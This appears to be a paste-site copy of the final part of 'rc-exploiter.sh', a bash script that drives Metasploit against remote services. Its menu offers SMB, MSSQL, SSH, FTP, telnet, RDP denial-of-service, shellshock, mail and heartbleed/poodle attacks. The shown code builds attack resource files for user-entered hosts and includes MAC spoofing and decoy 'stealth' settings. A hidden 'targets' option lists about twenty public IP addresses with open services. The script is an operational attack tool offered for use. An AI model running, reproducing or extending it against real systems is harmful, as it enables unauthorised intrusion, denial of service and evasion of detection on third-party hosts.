  2601.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
  2602.       nmap --script-updatedb | grep "updated"
  2603.  
  2604.  
  2605.       # start postgresql+metasploit db
  2606.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2607.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2608.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2609.  
  2610.       if [ "$DiStR0" = "Kali" ]; then
  2611.         service postgresql start > /dev/null 2>&1
  2612.         service metasploit start > /dev/null 2>&1
  2613.       else
  2614.         service metasploit start > /dev/null 2>&1
  2615.       fi
  2616.  
  2617.     # display cleaner command
  2618.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2619.     echo ${white}--------------------------------------------------------${Reset};
  2620.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2621.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2622.     echo ${white}--------------------------------------------------------${Reset};
  2623.  
  2624.   # access msfdatabase
  2625.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2626.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2627.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2628.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssl].log\nstored: $IPATH/logs/heartbleed.log" --width 480 > /dev/null 2>&1
  2629.   service metasploit stop > /dev/null 2>&1
  2630.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2631.  
  2632.   # clean old files
  2633.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  2634.   mv $IPATH/exploits/ssl.bk $IPATH/exploits/ssl.rc > /dev/null 2<&1
  2635.   chown $user $IPATH/exploits/ssl.rc > /dev/null 2>&1
  2636.  
  2637.   else
  2638.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2639.   echo "SSL:WAN:ABORT" >> $IPATH/debug/debug.int
  2640.   sleep 2
  2641.   fi
  2642.  
  2643.  
  2644.  
  2645.    elif [ "$aTv" = "input RHOSTS manually" ]; then
  2646.    echo "SSL:MANUAL:LOADED" >> $IPATH/debug/debug.int
  2647.   # imput manually RHOSTS
  2648.   rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
  2649.      if [ "$?" -eq "0" ]; then
  2650.  
  2651.     # generate (settings) resource file
  2652.     echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2653.     echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
  2654.     echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
  2655.     echo "setg verbose true" >> $IPATH/tempwork/msfdb.rc
  2656.     echo "resource $IPATH/exploits/ssl.rc" >> $IPATH/tempwork/msfdb.rc
  2657.     chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2658.  
  2659.       # generate (cleaner) resource file
  2660.       echo "hosts -d" > $IPATH/tempwork/cleaner.rc
  2661.       echo "unset -g RHOST RHOSTS verbose jobs -K" >> $IPATH/tempwork/cleaner.rc
  2662.       echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
  2663.       echo "exit -y" >> $IPATH/tempwork/cleaner.rc
  2664.       chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2665.  
  2666.          cd $IPATH/exploits/
  2667.          # using bash SED to replace value (dicionary and report.log)
  2668.          cp ssl.rc ssl.bk > /dev/null 2<&1
  2669.          sed "s|Lt0P4tH|$IPATH/logs/[ssl].log|g" ssl.rc > copy.int
  2670.          sed "s|LiLiP4tH|$IPATH/logs/[ssl].log|g" copy.int > copy2.int
  2671.          mv copy2.int ssl.rc > /dev/null 2<&1
  2672.          cd $IPATH
  2673.  
  2674.         # store in debug.int
  2675.         echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
  2676.  
  2677.  
  2678.         # check if exists nmap script folder
  2679.         if [ -d $nS31 ]; then
  2680.           # check if exists poodle script
  2681.           if [ -e $nS31/ssl-poodle.nse ]; then
  2682.             echo "good" > /dev/null 2>&1
  2683.           else
  2684.             # copy nse scripts and lua lib to nmap directory
  2685.             echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  2686.             cp $IPATH/bin/ssl-poodle.nse $nS31/ssl-poodle.nse
  2687.             cp $IPATH/bin/ssl-heartbleed.nse $nS31/ssl-heartbleed.nse
  2688.             cp $IPATH/bin/ssl-ccs-injection.nse $nS31/ssl-ccs-injection.nse
  2689.             cp $IPATH/bin/tls.lua $nS3Lib/tls.lua
  2690.             Ints=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy three nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  2691.             cp $IPATH/bin/ssl-poodle.nse $Ints/ssl-poodle.nse
  2692.             cp $IPATH/bin/ssl-heartbleed.nse $Ints/ssl-heartbleed.nse
  2693.             cp $IPATH/bin/ssl-ccs-injection.nse $Ints/ssl-ccs-injection.nse
  2694.           fi
  2695.  
  2696.         else
  2697.  
  2698.           echo ${RedF}[x]::[ERROR]::[ NSE FOLDER NOT FOUND UNDER ] ${Reset};
  2699.           echo ${RedF}[x]::[PATH=]::[ $nS31 ] ${Reset};
  2700.           sleep 2
  2701.          qU=$(zenity --title "INPUT NSE SCRIPTS INSTALL PATH" --text "example: /usr/share/nmap/scripts" --entry --width 350) > /dev/null 2>&1
  2702.           qU2=$(zenity --title "INPUT NSE NSELIB INSTALL PATH" --text "example: /usr/share/nmap/nselib" --entry --width 350) > /dev/null 2>&1
  2703.           qU3=$(zenity --title "INPUT NMAP NSE SCRIPT METASPLOIT PATH" --text "this function needs to copy two nse scripts to metasploit\nplease find your nmap/scripts folder inside metasploit\ndirectory tree structure and input is full path above.\n\nexample:\n /opt/metasploit/common/share/nmap/scripts" --entry --width 400) > /dev/null 2>&1
  2704.           echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE SCRIPTS. ] ${Reset};
  2705.           cp $IPATH/bin/ssl-poodle.nse $qU/ssl-poodle.nse
  2706.           cp $IPATH/bin/ssl-heartbleed.nse $qU/ssl-heartbleed.nse
  2707.           cp $IPATH/bin/ssl-ccs-injection.nse $qU/ssl-ccs-injection.nse
  2708.           cp $IPATH/bin/tls.lua $qU2/tls.lua
  2709.           cp $IPATH/bin/ssl-poodle.nse $qU3/ssl-poodle.nse
  2710.           cp $IPATH/bin/ssl-heartbleed.nse $qU3/ssl-heartbleed.nse
  2711.           cp $IPATH/bin/ssl-ccs-injection.nse $qU3/ssl-ccs-injection.nse
  2712.         fi
  2713.  
  2714.       # update NSE database befor running resource files
  2715.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ UPDATE NSE DATABASE ] ${Reset};
  2716.       nmap --script-updatedb | grep "updated"
  2717.  
  2718.       # start postgresql+metasploit db
  2719.       echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
  2720.       # /etc/init.d/postgresql start > /dev/null 2>&1
  2721.       # /etc/init.d/metasploit start > /dev/null 2>&1
  2722.  
  2723.       if [ "$DiStR0" = "Kali" ]; then
  2724.         service postgresql start > /dev/null 2>&1
  2725.         service metasploit start > /dev/null 2>&1
  2726.       else
  2727.         service metasploit start > /dev/null 2>&1
  2728.       fi
  2729.  
  2730.     # display cleaner command
  2731.     echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2732.     echo ${white}--------------------------------------------------------${Reset};
  2733.     echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
  2734.     echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
  2735.     echo ${white}--------------------------------------------------------${Reset};
  2736.  
  2737.   # access msfdatabase
  2738.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
  2739.   xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
  2740.   echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
  2741.   zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssl].log\nstored: $IPATH/logs/heartbleed.log" --width 480 > /dev/null 2>&1
  2742.   service metasploit stop > /dev/null 2>&1
  2743.   echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
  2744.  
  2745.   # clean old files
  2746.   rm $IPATH/exploits/copy.int > /dev/null 2<&1
  2747.   mv $IPATH/exploits/ssl.bk $IPATH/exploits/ssl.rc > /dev/null 2<&1
  2748.   chown $user $IPATH/exploits/ssl.rc > /dev/null 2>&1
  2749.  
  2750.  
  2751.   else
  2752.   echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
  2753.   echo "SSL:MANUAL:ABORT" >> $IPATH/debug/debug.int
  2754.   sleep 2
  2755.   fi
  2756.  
  2757.  
  2758. else
  2759.  
  2760.    Colors;
  2761.    echo ${RedF}[x]::[quiting module]... ${Reset};
  2762.    echo "SSL:CANCEL" >> $IPATH/debug/debug.int
  2763.    sleep 2
  2764. fi
  2765. }
  2766.  
  2767.  
  2768.  
  2769.  
  2770.  
  2771.  
  2772.  
  2773.  
  2774.  
  2775.  
  2776.  
  2777.  
  2778. # ---------------------------
  2779. # Show targets for tool debug
  2780. # ---------------------------
  2781. sh_targets () {
  2782. echo "SHOW_TARGETS:LOADED" >> $IPATH/debug/debug.int
  2783. Colors;
  2784. echo ""
  2785. echo "   hosts              port          proto      name             state"
  2786. echo "   -----              ----          -----      ----             -----"
  2787. echo "   162.144.100.186    21,22,3306    tcp        ftp,ssh,mysql    open "
  2788. echo "   163.232.86.155     135,139,445   udp/tcp    smb,samba        open "
  2789. echo "   198.13.103.178     3306          tcp        mysql            open "
  2790. echo "   209.59.188.26      22            tcp        ssh              open "
  2791. echo "   148.218.108.132    22            tcp        ssh              open "
  2792. echo "   66.220.10.220      22            tcp        ssh              open "
  2793. echo "   50.116.44.127      22            tcp        ssh              open "
  2794. echo "   165.194.115.97     1433          tcp        ms-sql-s         open "
  2795. echo "   122.9.141.72       1433          tcp        ms-sql-s         open "
  2796. echo "   142.54.186.195     21            tcp        ftp              open "
  2797. echo "   107.148.148.35     21            tcp        ftp              open "
  2798. echo "   94.112.152.33      23            tcp        telnet           open "
  2799. echo "   195.100.38.81      23            tcp        telnet           open "
  2800. echo "   200.82.142.79      23            tcp        telnet           open "
  2801. echo "   212.129.52.219     3389          tcp        rdp              open "
  2802. echo "   88.200.219.47      443           tcp        ssl              open "
  2803. echo "   90.176.170.46      443           tcp        ssl              open "
  2804. echo "   192.116.71.163     443           tcp        ssl              open "
  2805. echo "   191.241.91.21      443           tcp        ssl              open "
  2806. echo "   94.199.178.215     443           tcp        ssl              open "
  2807. echo "   197.159.15.116     80            tcp        http             open "
  2808. echo "   105.157.187.83     80            tcp        http             open "
  2809. echo ""
  2810. echo ${YellowF}Press [${GreenF} ENTER ${YellowF}] to continue...${Reset};
  2811. read op
  2812. }
  2813.  
  2814.  
  2815.  
  2816.  
  2817. # --------------------
  2818. # help - FAQ - display
  2819. # --------------------
  2820. sh_help () {
  2821. Colors;
  2822.  
  2823.    if [ -e $IPATH/bin/help.faq ]; then
  2824.      # display FAQ
  2825.      echo ${white}['>']:[${GreenF} '(FAQ)'${YellowF} FREQUENT ASK QUESTIONS ${white}] ${Reset};
  2826.      echo "FAQ_ACCESS:LOADED" >> $IPATH/debug/debug.int
  2827.      cat $IPATH/bin/help.faq | zenity --title "FREQUENT ASK QUESTIONS" --text-info --width 640 --height 350 > /dev/null 2>&1
  2828.  
  2829. else
  2830.  
  2831. echo "FAQ_ACCESS:NOT FOUND" >> $IPATH/debug/debug.int
  2832. zenity --warning --title="ERROR -> [ help.faq ] NOT FOUND" --text "can not display help...\nPlease download help.faq and place it:\n$IPATH/bin/help.faq" --width 380 > /dev/null 2>&1
  2833. fi
  2834. }
  2835.  
  2836.  
  2837.  
  2838.  
  2839. # -------------------------------
  2840. # clean msf database
  2841. # -------------------------------
  2842. sh_cdb () {
  2843. Colors;
  2844. cL3n=$(zenity --list --title "CLEAN MSF DATABASE" --text "use [ cleaner.rc ] OR [ delete all ]?" --radiolist --column "Pick" --column "Option" TRUE "cleaner.rc" FALSE "delete all" --width 350 --height 150) > /dev/null 2>&1
  2845.  
  2846.  
  2847.    if [ "$cL3n" = "cleaner.rc" ]; then
  2848.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ CLEAN MSF DB ] ${Reset};
  2849.      sleep 2
  2850.  
  2851.      # check if cleaner exists
  2852.      if [ -e $IPATH/tempwork/cleaner.rc ]; then
  2853.        echo "CLEAN_DATABASE:cleaner.rc" >> $IPATH/debug/debug.int
  2854.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES ] ${Reset};
  2855.        # start postgresql+metasploit db
  2856.        # /etc/init.d/postgresql start > /dev/null 2>&1
  2857.        # /etc/init.d/metasploit start > /dev/null 2>&1
  2858.        service metasploit start > /dev/null 2>&1
  2859.  
  2860.          # access msfdatabase
  2861.          echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE. ] ${Reset};
  2862.          xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/cleaner.rc"
  2863.          zenity --info --title="CLEAN MSF DATABASE" --text "Recent settings clean..." --width 300 > /dev/null 2>&1
  2864.  
  2865.        # stop metaslpoit service
  2866.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOPING MSF SERVICES ] ${Reset};
  2867.        service metasploit stop > /dev/null 2>&1
  2868.  
  2869.      # cleanning old config files
  2870.      rm -f $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
  2871.      echo "CLEAN_DATABASE:exit" >> $IPATH/debug/debug.int
  2872.  
  2873.      else
  2874.  
  2875.        echo "CLEAN_DATABASE:cleaner.rc:NOT FOUND" >> $IPATH/debug/debug.int
  2876.        zenity --warning --title="ERROR -> [ cleaner.rc ] NOT FOUND" --text "the cleaner will be build everytime\nwe use one attack, and its stored in:\n$IPATH/tempwork/cleaner.rc" --width 480 > /dev/null 2>&1
  2877.      fi
  2878.  
  2879.  
  2880.  
  2881.    elif [ "$cL3n" = "delete all" ]; then
  2882.    # generate resource file
  2883.    echo "CLEAN_DATABASE:fullclean.rc" >> $IPATH/debug/debug.int
  2884.    echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ CLEAN MSF DB ] ${Reset};
  2885.    sleep 2
  2886.    echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
  2887.    echo "hosts -d" > $IPATH/tempwork/fullclean.rc
  2888.    echo "unset -g RHOST RHOSTS LHOST PASS_FILE USER_FILE MSSQL_PASS_FILE MSSQL_PASS_FILE" >> $IPATH/tempwork/fullclean.rc
  2889.    echo "unset -g BLANK_PASSWORDS STOP_ON_SUCCESS PAYLOAD USERNAME USERPASS_FILE verbose jobs -K" >> $IPATH/tempwork/fullclean.rc
  2890.    echo "sleep 3" >> $IPATH/tempwork/fullclean.rc
  2891.    echo "exit -y" >> $IPATH/tempwork/fullclean.rc
  2892.    chown $user $IPATH/tempwork/fullclean.rc > /dev/null 2>&1
  2893.  
  2894.      echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES ] ${Reset};
  2895.      # start postgresql+metasploit db
  2896.      # /etc/init.d/postgresql start > /dev/null 2>&1
  2897.      # /etc/init.d/metasploit start > /dev/null 2>&1
  2898.      service metasploit start > /dev/null 2>&1
  2899.  
  2900.        # access msfdatabase
  2901.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE  ]${Reset};
  2902.        xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/fullclean.rc"
  2903.        zenity --info --title="CLEAN MSF DATABASE" --text "done..." --width 350 > /dev/null 2>&1
  2904.  
  2905.        # stop metaslpoit service
  2906.        echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOPING MSF SERVICES ] ${Reset};
  2907.        service metasploit stop > /dev/null 2>&1
  2908.  
  2909.      # cleanning old config files
  2910.      rm -f $IPATH/tempwork/fullclean.rc > /dev/null 2>&1
  2911.      echo "CLEAN_DATABASE:exit" >> $IPATH/debug/debug.int
  2912.  
  2913. else
  2914.  
  2915.    Colors;
  2916.    echo ${RedF}[x]::[quiting module]... ${Reset};
  2917.    echo "CLEAN_DATABASE:CANCEL" >> $IPATH/debug/debug.int
  2918.    sleep 2
  2919. fi
  2920. }
  2921.  
  2922.  
  2923.  
  2924.  
  2925. # ---------------------------
  2926. # exit script rc-exploiter.sh
  2927. # ---------------------------
  2928. sh_exit () {
  2929. Colors;
  2930. echo ${RedF}[x]::[quiting module]... ${Reset};
  2931.   service metasploit stop > /dev/null 2>&1
  2932.  
  2933.     # CHECK TOOLKIT_CONFIG SETTINGS
  2934.     ClF=`cat $IPATH/settings | egrep -m 1 "CLEAR_LOG_FOLDER" | cut -d '=' -f2`
  2935.     if [ "$ClF" = "YES" ]; then
  2936.       rm -f $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2937.       cd $IPATH/logs > /dev/null 2>&1
  2938.       rm -f *.log > /dev/null 2>&1
  2939.       chown $user $IPATH/tempwork > /dev/null 2>&1
  2940.       zenity --info --title="CLEAN LOG FOLDER ON EXIT" --text "SUCCESSFULLY REBUILD ..." --width 350 > /dev/null 2>&1
  2941.       sh_exit_settings
  2942.  
  2943.     else
  2944.  
  2945.     # cleanning old config files
  2946.     rm -f $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
  2947.     sh_exit_settings
  2948. fi
  2949. }
  2950.  
  2951.  
  2952. sh_exit_settings () {
  2953. Colors;
  2954.  
  2955.     cd $IPATH
  2956.     # CHECK TOOLKIT_CONFIG SETTINGS
  2957.     Cl3n=`cat $IPATH/settings | egrep -m 1 "REBUILD_TEMPFOLDER" | cut -d '=' -f2`
  2958.     if [ "$Cl3n" = "YES" ]; then
  2959.       cd $IPATH/tempwork
  2960.       rm -f *.rc > /dev/null 2>&1
  2961.       chown $user $IPATH/tempwork
  2962.       zenity --info --title="CLEAN TEMPWORK ON EXIT" --text "SUCCESSFULLY REBUILD ..." --width 350 > /dev/null 2>&1
  2963.       sh_macch
  2964.  
  2965.     else
  2966.  
  2967.   sh_macch
  2968. fi
  2969. }
  2970.  
  2971.  
  2972. sh_macch () {
  2973. Colors;
  2974.  
  2975.   # check settings file
  2976.   if [ "$M4c" = "YES" ]; then
  2977.  
  2978.       H0m3=`echo ~`
  2979.       echo ${YellowF}[+]${RedF}::${BlueF}[please wait]:${YellowF} Changing your mac address to default... ${Reset};
  2980.       service network-manager stop > /dev/null 2>&1
  2981.       sleep 4
  2982.       macchanger -p $inter > /dev/null 2>&1
  2983.       sleep 17
  2984.       service network-manager start > /dev/null 2>&1
  2985.       sleep 5
  2986.       macchanger -s $inter | zenity --title "MAC ADDR CURRENT SETTINGS" --text-info --width 410 --height 110 > /dev/null 2>&1
  2987.       echo "CHANGING_MAC_TO_DEFAULT:YES" >> $IPATH/debug/debug.int
  2988.       sh_finall
  2989.  
  2990. else
  2991. echo "good" > /dev/null 2>&1
  2992. sh_finall
  2993. fi
  2994. }
  2995.  
  2996.  
  2997. # log tool activitty from previous modules used
  2998. sh_finall () {
  2999. dtr=`date | awk '{print $4}'`
  3000. Colors;
  3001.  
  3002.  
  3003.     if [ "$L0g" = "ON" ]; then
  3004.       echo "EXIT_SCRIPT_IN:$dtr" >> $IPATH/debug/debug.int
  3005.       echo "------------------------------" >> $IPATH/debug/debug.int
  3006.       chown $user $IPATH/debug/debug.int > /dev/null 2>&1
  3007.  
  3008. clear
  3009. cat << !
  3010.  
  3011.       ,.,          ~-~          .-.
  3012.      (~ ~)        ('¯')        (~ ~)
  3013.     q:0 0:p       )Ø Ø(        :o o:
  3014.      ((_))       ( (_) )      (((_)))
  3015.       'u'          '='          '-'
  3016.  
  3017.        codename: "the three stooges"
  3018. !
  3019. echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
  3020. exit
  3021.  
  3022.  
  3023. else
  3024.  
  3025.   # clean debug.int
  3026.   echo "" > $IPATH/debug/debug.int > /dev/null 2>&1
  3027.   chown $user $IPATH/debug/debug.int > /dev/null 2>&1
  3028. clear
  3029. cat << !
  3030.  
  3031.       ,.,          ~-~          .-.
  3032.      (~ ~)        ('¯')        (~ ~)
  3033.     q:0 0:p       )Ø Ø(        :o o:
  3034.      ((_))       ( (_) )      (((_)))
  3035.       'u'          '='          '-'
  3036.  
  3037.        codename: "the three stooges"
  3038. !
  3039. echo ${white}Develop by:[${GreenF}r00t-3xp10it${white}]SSA-RedTeam@2015 ${Reset};
  3040. exit
  3041. fi
  3042. }
  3043.  
  3044.  
  3045.  
  3046.  
  3047. # ---------------------------
  3048. # customize internal settings
  3049. # ---------------------------
  3050. sh_toolconf () {
  3051. Colors;
  3052.  
  3053.    # edit 'settings' config file
  3054.    echo "SETTINGS:ACCESSED" >> $IPATH/debug/debug.int
  3055.    echo ${BlueF}[*]${RedF}::${BlueF}[framework settings] ${Reset};
  3056.    xterm -T "Customize Internal Settings" -geometry 81x42 -e "nano $IPATH/settings"
  3057.    clear
  3058. }
  3059.  
  3060.  
  3061.  
  3062.  
  3063. # -----------------
  3064. # obfuscated or not
  3065. # -----------------
  3066. sh_pass () {
  3067. Colors;
  3068.  
  3069. echo "LOGIN_PROTECTED:ACCESSED" >> $IPATH/debug/debug.int
  3070. lSs=$(zenity --list --title "RC-EXPLOITER LOGIN PROTECTED" --text "chose option" --radiolist --column "Pick" --column "Option" TRUE "enable login" FALSE "disable login" --width 350 --height 155) > /dev/null 2>&1
  3071.  
  3072.   if [ "$lSs" = "enable login" ]; then
  3073.     p0c=$(zenity --password --title "RC-EXPLOITER" --text "Enter password for LOGIN protected") > /dev/null 2>&1
  3074.     # use base64 to encode password string
  3075.     echo "$p0c" | base64 > $IPATH/bin/obfuscated
  3076.     # un-comment the follow line to activate my personal encoding
  3077.     #echo "0xpe2jt!3t9gal!4s0x3f%ex007a.n31d8f14#adr#34023:$p0c:b3t5altr60x0.d4al.rf44rvifr" > $IPATH/bin/obfuscated
  3078.     zenity --info --title="RC-EXPLOITER LOGIN PROTECTED" --text "password protected: $p0c" --width 350 > /dev/null 2>&1
  3079.     echo "LOGIN_PROTECTED:enable login" >> $IPATH/debug/debug.int
  3080.  
  3081.   elif [ "$lSs" = "disable login" ]; then
  3082.     rm $IPATH/bin/obfuscated > /dev/null 2>&1
  3083.     zenity --info --title="RC-EXPLOITER LOGIN PROTECTED" --text "Not active..." --width 350 > /dev/null 2>&1
  3084.     echo "LOGIN_PROTECTED:disable login" >> $IPATH/debug/debug.int
  3085.  
  3086. else
  3087.  
  3088.   echo "LOGIN_PROTECTED:ABORTED" >> $IPATH/debug/debug.int
  3089.   echo ${RedF}[x]::[quiting module]... ${Reset};
  3090.   sleep 2
  3091. fi
  3092. }
  3093.  
  3094.  
  3095.  
  3096.  
  3097. # ------------------------------
  3098. #  menu principal - loop forever
  3099. # ------------------------------
  3100. while :
  3101. do
  3102. clear
  3103. dtr=`date | awk '{print $4}'`
  3104. cat << !
  3105.  
  3106.  ██████╗  ██████╗    ███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗███████╗██████╗
  3107.  ██╔══██╗██╔════╝    ██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝██╔════╝██╔══██╗
  3108.  ██████╔╝██║         █████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   █████╗  ██████╔╝
  3109.  ██╔══██╗██║         ██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   ██╔══╝  ██╔══██╗
  3110.  ██║  ██║╚██████╗    ███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   ███████╗██║  ██║
  3111.  ╚═╝  ╚═╝ ╚═════╝    ╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
  3112. !
  3113.  
  3114. if [ "$M4c" = "YES" ]; then
  3115.  
  3116.   if [ "$Ch3" = "YES" ]; then
  3117.   echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}IP:${GreenF}$IP ${BlueF}SPOOFED_MAC:${GreenF}$st ${BlueF}USE_DECOYS:${GreenF}$SPOOF ${Reset};
  3118.   echo ${BlueF} TIME:${white}$dtr ${BlueF}USER:${white}$user ${BlueF}DISTRO:${white}$DiStR0 ${BlueF}INTERFACE:${white}$inter ${BlueF}ALL_SETTINGS:${GreenF}STEALTH MODE  ${Reset};
  3119.   else
  3120.   echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${GreenF}$IP ${BlueF}SPOOFED_MAC:${GreenF}$st ${BlueF}TIME:${white}$dtr ${Reset};
  3121.   fi
  3122.  
  3123. else
  3124.  
  3125.   if [ "$Ch3" = "YES" ]; then
  3126.   echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${YellowF}$IP ${BlueF}USE_DECOYS:${GreenF}$SPOOF ${BlueF}TIME:${white}$dtr ${Reset};
  3127.   else
  3128.   echo ${BlueF} VERSION:${GreenF}$ver ${BlueF}USER:${white}$user ${BlueF}INTERFACE:${white}$inter ${BlueF}IP:${RedF}$IP ${BlueF}DISTRO:${white}$DiStR0 ${BlueF}TIME:${white}$dtr ${Reset};
  3129.   fi
  3130. fi
  3131.  
  3132. cat << !
  3133.  
  3134.  
  3135.          nº  DESCRIPTION         SERVICE(s)          RPORT(s)            RANK
  3136.       +--------------------------------------------------------------------------+
  3137.       |  1 - SMB + SAMBA         SMB + SAMBA         U:135,T:139,445     normal  |
  3138.       |  2 - ms-SQL              MSSQL               T:1433              great   |
  3139.       |  3 - mySql               MYSQL               T:5432              normal  |
  3140.       |  4 - ssh                 SSH                 T:22                great   |
  3141.       |  5 - ftp                 FTP                 T:21                great   |
  3142.       |  6 - telnet              TELNET              T:23                great   |
  3143.       |  7 - rdp(d0s)            RDP                 T:3389              normal  |
  3144.       |  8 - shellshock+ms15-034 HTTP                T:80                great   |
  3145.       |  9 - smtp                SMTP                T:25                normal  |
  3146.       | 10 - pop3                POP3                T:110               normal  |
  3147.       | 11 - imap                IMAP                T:143,993           normal  |
  3148.       | 12 - heartbleed+poodle   SSL                 T:443               great   |
  3149.       +--------------------------------------------------------------------------|
  3150.                                                                 SSA-RedTeam@2015_|
  3151.         ~-~      q - Exit RC-exploiter module
  3152.        ('¯')     c - Clean metasploit DataBase
  3153.        )Ø Ø(     s - Config Internal settings
  3154.       ( (_) )   pass - Activate script login
  3155.         '='     help - Frequent ask questions
  3156.  
  3157. !
  3158. sleep 1
  3159. Colors;
  3160. echo ${RedF}'_'${Reset};
  3161. echo ${BlueF}[*]${RedF}::${BlueF}[ENTER YOUR CHOISE]${Reset};
  3162. echo ${BlueF}[*]${white}':'${BlueF}Press[${RedF} CTRL+C ${BlueF}]to abort tasks'!'${Reset};
  3163. echo -n "[>]:"
  3164. read choice
  3165. case $choice in
  3166. 1) sh_1 ;;
  3167. 2) sh_2 ;;
  3168. 3) sh_3 ;;
  3169. 4) sh_4 ;;
  3170. 5) sh_5 ;;
  3171. 6) sh_6 ;;
  3172. 7) sh_7 ;;
  3173. 8) sh_8 ;;
  3174. 9) sh_9 ;;
  3175. 10) sh_10 ;;
  3176. 11) sh_11 ;;
  3177. 12) sh_12 ;;
  3178. c) sh_cdb ;;
  3179. C) sh_cdb ;;
  3180. q) sh_exit ;;
  3181. Q) sh_exit ;;
  3182. s) sh_toolconf ;;
  3183. S) sh_toolconf ;;
  3184. help) sh_help ;;
  3185. pass) sh_pass ;;
  3186. targets) sh_targets ;;
  3187. *) echo "\"$choice\": is not a valid choise"; sleep 2 ;;
  3188. esac
  3189. done
Advertisement
Add Comment
Please, Sign In to add comment